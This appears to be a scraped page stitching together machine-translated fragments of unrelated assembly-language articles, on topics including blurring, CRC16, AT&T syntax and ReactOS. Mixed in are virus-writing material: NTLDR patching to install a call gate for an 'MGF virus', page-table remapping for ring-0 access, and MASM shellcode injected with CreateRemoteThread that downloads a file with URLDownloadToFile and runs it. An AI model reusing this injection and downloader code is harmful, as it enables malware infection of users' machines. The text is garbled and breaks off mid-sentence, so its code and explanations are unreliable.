, that is, taking the pixel (x, y) as the center, to (x-radius, Y) and (x + radius, Y) after the pixels are multiplied by weights, the new pixels are obtained and written to the corresponding points on the target image.
The process ends.
Since the above processing process only performs a "Ten" operation on each pixel of the image, the operation on each pixel point is greatly reduced, and the greater the fuzzy length, the more reduced. As mentioned above, the Q = 3 and r = 5 Fuzzy Operations only
--------------------------------------------------------------------------------. Data; InitializationBEGIN_INITDd offset Shap_destructor_FunctDd offset Shap_getArea_FunctDd offset Shap_setColor_FunctDd NULLEND_INIT--------------------------------------------------------------------------------. CodeShape_Init PROC uses edi esi lpTHIS: DWORD; Actual call InitializationSET_CLASS Shape; Set edi assmue to Shap
parameters, we need to translate the push command. Depending on the object of the push, different implementations are required:VPUSHREG32:; register into the stack. ESI points to the memory address of the bytecodeMov Eax,dword Ptr[esi]; Get the offset address of the register in the VMCONTEXT structure from the pseudo code (byte code)ADD esi,4; The VMCONTEXT structure preserves the values of each register. The structure is saved inside the stack.Mov eax,dowrd ptr [
Modifyfile,pmapaddr; Modify memory block contentsInvoke unmapviewoffile,pmapaddr; unlock file mappings. endifInvoke Closehandle,hmap; Close memory-mapped file. endifInvoke CloseHandle, hfile; Close file. endifRetWinMain ENDP; Get the file name to process; Return: If eax=null indicates that no file name is provided for processing; otherwise eax point to the filename addressGetFileName ProcInvoke Getfilenamefromcommandline,addr FileName. If Eax==nullCall Getfilenamefromdialog. endifRetGetFileName
to add CALLGATE for MGF virus:
_ DwFlag ----- bit 0: 0 = ntldr, 1 = PE; bit 1:0 = mem, 1 = file;Bit 2: 0 = auto (ansi/unicode), 1 = ansi......................... Else; _ dwFlag; write CALLGATE if the file is NTLDRLea esi, szGdtData [ebx]Mov edi, @ lpFileMapMov ecx, @ dwFileSize@@:Inc ediPush esiPush ediPush ecxMov ecx, 10 hRepz cmpsbPop ecxPop ediPop esiLoopnz @ B
In NTLDR, search for RING0 and CS in 16 bytes. After DS finds the d
CRC16 common standards are used in various specifications, the principle of its algorithm is basically consistent, that is, in the data input and output differences, below the standards of the differences listed, and give the C language algorithm implementation.
Crc16_ccitt: Polynomial x16+x12+x5+1 (0x1021), initial value 0x0000, low in front, high in the post, results and 0x0000 different or
Crc16_ccitt_false: Polynomial x16+
the operation, such as Movl $foo,%eax equivalent to the Intel mov eax, Word ptr fooLong jump and call format is different, at/T is ljmp $section, $offset, and Intel is the JMP Section:offsetThe main difference is these, the other details are many, the following gives a specific example to illustrate#cpuid. S Sample Program. Section. DataOutput. ASCII "The processor Vendor ID is ' xxxxxxxxxxxx ' \ n". section. Text. globl _start_start:MOVL,%eaxCpuidMOVL $output,%ediMovl%ebx, (%
carried out in assembly, let's talk about some personal opinions. Next, we will conduct some small tests and explain them in assembly language. You can do it together.
(1) Char name [] and char * Name
[CPP] View plaincopy
1:
2:VoidProcess ()
3 :{
00401020 push EBP
00401021 mov EBP, ESP
00401023 sub ESP, 4ch
00401026 push EBX
00401027 push ESI
00401028 push EDI
00401029 Lea EDI
-level page tableMoV FS: [eax + ECx], EDX; modify the ing of our code in the physical memoryMoV dword ptr fs: [eax], 103 h; Modify physical page 0 (that is, bios/DOS zone ing to 80000000 H). Endif; Note: winnt does not use bios/DOS pages, that is, physical pages 0); ######################################## ######################################## ###################Call memscansapiaddr. If EDI; ### find the API function address in the memory, eax-> zw
talk about some personal opinions. Next, we will conduct some small tests and explain them in assembly language. You can do it together.
(1) char name [] and char * name
1:
2: void process ()
3 :{
00401020 push ebp
00401021 mov ebp, esp
00401023 sub esp, 4Ch
00401026 push ebx
00401027 push esi
00401028 push edi
00401029 lea edi, [ebp-4Ch]
0040102C mov ecx, 13 h
00401031 mov eax, 0 CCCCCCCCh
00401036 re
-------------------------------------------------------------------------------------------
. 78462fdf: AB stosd. 78462fe0: 5f pop EDI. 78462fe1: c20400 retn 00004.
Bytes -------------------------------------------------------------------------------------------
. 784635ec: 8bc6 mov eax, ESI. 784635ee: 5f pop EDI. 784635ef: 5E pop ESI. 784635f0: C3 retn
Bytes -----------------------------------------------
, hWnd, hModule, ShellSize, addr WrittenInvoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTidInvoke ExitProcess, 0End start
In fact, this section:
Shellcode procPush 00403008 HCall LoadLibraryPush 00403013 HCall LoadLibraryInvoke URLDownloadToFile, NULL, addr szURL, addr szSaveFile, NULL, NULLInvoke ShellExecute, 0, 0, addr szSaveFile, 0, SW_SHOWInvoke ExitThread, 0RetShellcode endp
You can convert it into a machine code, so that you do not need a subroutine. Directly
there are also functions prefixed with KE and Ki in the reactos kernel. The prefix ke indicates that it belongs to the "kernel" module. Note that the so-called "kernel" module in Windows is only part of the kernel, rather than the entire kernel. I will discuss this in "talking about wine" later. The prefix Ki refers to the functions related to interrupt response and processing in the kernel. Kisystemservice () is an assembly program which serves as system_call () in the Linux kernel. This Code
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.